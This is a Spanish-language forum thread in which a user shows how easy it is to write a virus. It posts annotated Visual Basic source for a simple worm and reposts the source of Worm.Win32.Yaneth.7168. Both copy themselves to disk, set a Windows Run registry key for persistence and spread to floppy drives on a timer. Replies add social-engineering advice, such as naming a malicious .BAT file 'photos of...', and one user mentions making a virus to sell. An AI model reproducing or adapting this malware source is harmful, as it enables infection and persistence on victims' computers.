[Discusión] Qué simple es programar un virus

[]::javier 2.0::[]

Pues no, este no es (ni pretende ser) un tutorial para crear virus
Simplemente quiero mostrar que crear "pequeños" (recalco "pequeños") virus no es tan difícil como la mayoría cree, no hace falta ser o estar al nivel de un hacker, ni aprender assembler, esta al alcance de cualquier persona que posea solo un poco de imaginación y algunas nociones de programación

para eso les hice en visual basic este pequeño gusano inspirado en Worm.Win32.Yaneth.7168.

Private Sub Form_Load()

virus = App.EXEName + ".exe"
rem explicación: el nombre que posee el programa lo toma la variable "virus"

On Error Resume Next
rem explicacion: si ocurre un error continua en la siguiente linea

FileCopy  virus, "C:\virus.exe"
rem explicación: copia el virus al disco rígido

Set virus = CreateObject("WScript.Shell") virus.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\virus", C
rem explicación: pone el virus en el registro para que se inicie con windows

Do
If  Minute(Now) = 0 And Second(Now) = 0 Then FileCopy virus, "A:\virus.exe"
Loop
rem explicación: cada determinado tiempo se copia al disquete
End Sub
lo que quiero que noten es la simpleza del código
creo que cualquier persona con algún conocimiento de ingles se daría cuenta lo que significa esta línea
If  Minute(Now) = 0 And Second(Now) = 0 Then FileCopy virus, "A:\virus.exe"

traducido seria
Si minuto actual = 0 y a su vez segundo actual = 0 entonces copiar el virus al disquete

(los que tienen pen drives seguramente les resultara familiar)

como verán, "prácticamente" la programación de bichos esta al alcance de cualquiera que posea un poco de ingenio como para valerse de sus herramientas.
supongo que es por ese motivo que abundan estos "gusanitos" tan "simpáticos" y con tan mala calidad de programación.
de todos modos, siempre hay oportunidad de toparse con algún virus "brillante"

nota: no me critiquen el bucle, queda mejor con un "timer" pero para evitar insertar objetos pensé que quedaría bien con do:loop



aqui les dejo el Worm.Win32.Yaneth.7168. que saque de http://v43l.iespana.es/zona%20hacker/tu ... %20vb.html

'\^fibsoZ'e~'Lrftfif`rn(@BC]FD
'lrftfif`rnGuhdlbuht)dhj
'@rtfih'cb'cntvrbsbt'bwbunjbisfk)
'Thkh'wfuf'anibt'cncfdsndht)
'Jfibmbtb'dhi'drncfch)
'Kribt '50'cb'Bibuh'cb'5774

Private Sub Form_Load()
A = App.EXEName
E = ".exe"
C = "C:\Yaneth.exe"

On Error Resume Next
FileCopy A & E, C
Set Yanet = CreateObject("WScript.Shell") Yanet.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C

Open "C:\Yaneth.txt" For Output As #1
Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC]FD"
Print #1, "\¸^fibso'chicb'btsft8Z"
Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z"
Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ"
Print #1, "\Bth'ih'bt'mrtshZ"
Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z"
Close #1

Do
M = Minute(Now)
S = Second(Now)
Y = "A:\Yaneth.exe"
If M = 0 And S = 0 Then FileCopy A & E, Y
If M = 5 And S = 0 Then FileCopy A & E, Y
If M = 10 And S = 0 Then FileCopy A & E, Y
If M = 15 And S = 0 Then FileCopy A & E, Y
If M = 20 And S = 0 Then FileCopy A & E, Y
If M = 25 And S = 0 Then FileCopy A & E, Y
If M = 30 And S = 0 Then FileCopy A & E, Y
If M = 35 And S = 0 Then FileCopy A & E, Y
If M = 40 And S = 0 Then FileCopy A & E, Y
If M = 45 And S = 0 Then FileCopy A & E, Y
If M = 50 And S = 0 Then FileCopy A & E, Y
If M = 55 And S = 0 Then FileCopy A & E, Y
Loop
End Sub

[Quiksilver]

Yo me acuerdo que una vez con unos amigos nos pusimos a hacer un archivo que se duplicaba y se duplicaba...pero ya ni me acuerdo como era pero bue...no era difícil...

[]::javier 2.0::[]

una vez cuando trabajaba en un ciber, como el dueño era tan pero tan con mi compañero habíamos hecho un bichito con el icono del messenger que comenzaba a abrir paginas
funcionaba bárbaro en mi pc, en las computadoras del ciber no quería caminar
que bronca

[D136U170]

Yo hice uno para vender con VB6 

[matiaz]

Le haría una corrección al título: "Qué simple es programar virus para Windows".

Buena data Javier, esperemos no avivar giles con esto =/

[trelewmobil]

wep! que data, la verdad yo tengo eset nod 32, todos los dias se actualiza. la verdad estaria bueno poner alguna data para ver o explicar  lo que susede o si los cel pueden sufrir ataques virisiosos, y si es asi como prevenir. yo se que un java llamado redblowser esta infectado. y se donde se aloja. saludos

[Quiksilver]

No hay virus para java por dios que estupidez!! Pueden estar infectados pero al celular no je hace nada...si lo pasas a la pc e intentas hacer algo con el archivo ahi si puede ser... Ah y che la palabra virisiosos o algo asi que pusiste no existe!

[matiaz]

No hay virus para java por dios que estupidez!! Pueden estar infectados pero al celular no je hace nada...si lo pasas a la pc e intentas hacer algo con el archivo ahi si puede ser... Ah y che la palabra virisiosos o algo asi que pusiste no existe!

Por el momento no existe un virus programado en Java, pero como bien dijiste las aplicaciones Java pueden infectarse. Solo es cuestión de tiempo hasta que se programe el primer virus en este lenguaje.

Nunca digas nunca Quik..

[D136U170]

No hay virus en Java porque para que corra tiene que levantar la Maquina Virtual de Java, y (aunque se podria hacerlo) es mas facil hacerlo en VB6 que no se "levantan" sospechas al no ver ninguna Maquina Virtual activa

[trelewmobil]

hu quik estas nervioso.

[]::javier 2.0::[]

virus podes hacer en el lenguaje que quieras
el tema esta en lo que queres lograr con el
si apuntas a una meta personal o a hacerte famoso (o perseguido)
podes armar código malicioso incluso en un .BAT, lo nombras "fotos de...."  y nunca falta un inocente que se convierta en victima
así que si les gusta java por mas que sea apto o no para lograr un  "virus decente" se puede crear un bicho igual si la meta no es ambiciosa

[Eze-2009]

Nunca pense que los virus fueran simples lineas de comandos, a mi me dijeron que eran codigos binarios